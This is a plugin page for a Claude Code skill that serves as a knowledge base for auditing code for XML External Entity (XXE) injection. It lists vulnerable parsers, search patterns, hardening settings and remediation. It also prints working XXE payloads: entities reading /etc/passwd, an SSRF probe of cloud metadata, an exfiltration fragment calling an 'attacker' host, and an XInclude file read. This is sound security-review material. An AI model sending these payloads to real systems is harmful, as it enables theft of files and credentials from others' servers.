/indra:sh-kb-xxefrom Indra
Knowledge base for hunting XML External Entity (XXE) injection across Java, Python, PHP, .NET, and Node XML parsers. Covers sinks, payloads, XInclude bypasses, and false-positive filters.
Ships in Indra. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
An XML parser that resolves external entities processes attacker-supplied XML, letting a DTD declare entities that read local files, make server-side requests (SSRF), or exhaust resources (billion laughs).
Any endpoint that parses XML from users: SOAP, XML APIs, SVG/DOCX/XLSX/SVG uploads (zip-of-XML), SAML
responses, RSS/Atom import, XML config upload, Content-Type: application/xml or text/xml handlers.
DocumentBuilderFactory, SAXParserFactory, XMLInputFactory, TransformerFactory,
SAXReader, Unmarshaller, XMLReader - vulnerable unless external entities/DTDs are disabled.xml.etree.ElementTree (older), lxml.etree with resolve_entities=True/custom resolver,
xml.dom.minidom, xml.sax - defusedxml is the safe replacement.simplexml_load_string/DOMDocument->loadXML with LIBXML_NOENT/LIBXML_DTDLOAD.XmlDocument/XmlTextReader with DtdProcessing=Parse and a non-null XmlResolver.libxmljs with noent:true, some SOAP/xml2js configs.graft grep "DocumentBuilderFactory|SAXParser|XMLInputFactory|loadXML|simplexml_load|lxml.etree|XmlReader|DtdProcessing" --json.<!ENTITY xxe SYSTEM "file:///etc/passwd"> then reference &xxe; in an element.<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">.http://attacker/?%file;.DOCTYPE but drops attacker XML into an
existing document's body (not the whole document), a DOCTYPE declaration isn't possible - instead use
xi:include if the parser has XInclude enabled: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>.
This bypasses DOCTYPE-based filters entirely, so "no <!DOCTYPE" is not itself a false-positive signal -
check whether XInclude is also disabled (setXIncludeAware(false) in Java, or equivalent).disallow-doctype-decl true, external-general-entities/external-parameter-entities
false, XMLResolver=null, resolve_entities=False, using defusedxml, LIBXML_NONET and DTD loading off,
.NET DtdProcessing.Prohibit.setXIncludeAware(false) and ACCESS_EXTERNAL_DTD/
ACCESS_EXTERNAL_SCHEMA to "" (JAXP 1.5+) - disallow-doctype-decl alone still leaves XInclude and
external-schema resolution reachable. For SAX/StAX, confirm the hardened factory/property is applied to
every reader instance the factory creates, not just the factory object itself.XmlReader, XDocument) are safe out of the box; only flag older TFMs or explicit
XmlTextReader/XmlDocument use without the settings above. PHP 8.0+ disables external entities by
default; only flag PHP <8.0 without libxml_set_external_entity_loader(null)/LIBXML_NOENT off.CWE-611 (XXE), CWE-776 (entity expansion), CWE-827. OWASP A05:2021. File read of secrets or SSRF to metadata -> high/critical; DoS-only -> medium.
XXE file read -> secrets (config/keys) -> further access; XXE -> ssrf -> cloud metadata/internal;
present in SAML flows -> auth bypass.
Disable DTDs and external entity resolution on every XML parser handling untrusted input (use the
hardened factory settings above or a safe library like defusedxml); also disable XInclude
(setXIncludeAware(false)) since it is a separate feature from DTD/entity processing and is not covered by
disallow-doctype-decl; prefer JSON where possible; validate uploads that are XML-backed (SVG/Office) with
the same hardening.
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
npx claudepluginhub dmdhrumilmistry/indra --plugin indra20 skills in this plugin
/indraindra - the entry point for application-security work. Dispatcher for the indra security harness. Use when the user asks for any application-security work - 'security review', 'audit this codebase', 'pentest', 'find vulnerabilities', 'check for SQLi/XSS/IDOR/SSRF', 'generate a security report/SARIF'. Interprets the request and routes it to the full sh-security-review pipeline, a single stage, or a single vulnerability-class knowledge base./sh-kb-access-controlKnowledge base for finding broken access control - IDOR/BOLA, missing function-level authorization, privilege escalation, and multi-tenant isolation failures. Use when hunting authorization issues or reviewing whether users can access resources/actions they shouldn't. CWE-284/285/639/862/863, OWASP A01:2021-Broken Access Control./sh-kb-authKnowledge base for finding authentication and session-management failures - weak login, broken JWT/session handling, password/reset flaws, MFA bypass, credential storage issues. Use when hunting authentication (not authorization - see sh-kb-access-control). CWE-287/384/613/620/640, OWASP A07:2021-Identification and Authentication Failures./sh-kb-cryptoKnowledge base for finding cryptographic failures - weak hashing/encryption, insecure randomness, hardcoded/static keys and IVs, ECB mode, missing integrity, and predictable tokens. Use when hunting crypto misuse. CWE-327/328/330/326/916, OWASP A02:2021-Cryptographic Failures./sh-kb-csrfKnowledge base for finding Cross-Site Request Forgery - state-changing requests that rely only on ambient credentials (cookies) with no anti-CSRF token or SameSite protection. Use when hunting CSRF. CWE-352, OWASP A01:2021-Broken Access Control./sh-kb-deserializationKnowledge base for finding insecure deserialization - untrusted data fed to object-deserialization APIs that can trigger RCE or object injection via gadget chains. Use when hunting deserialization issues. CWE-502, OWASP A08:2021-Software and Data Integrity Failures.Other plugins' skills for the same job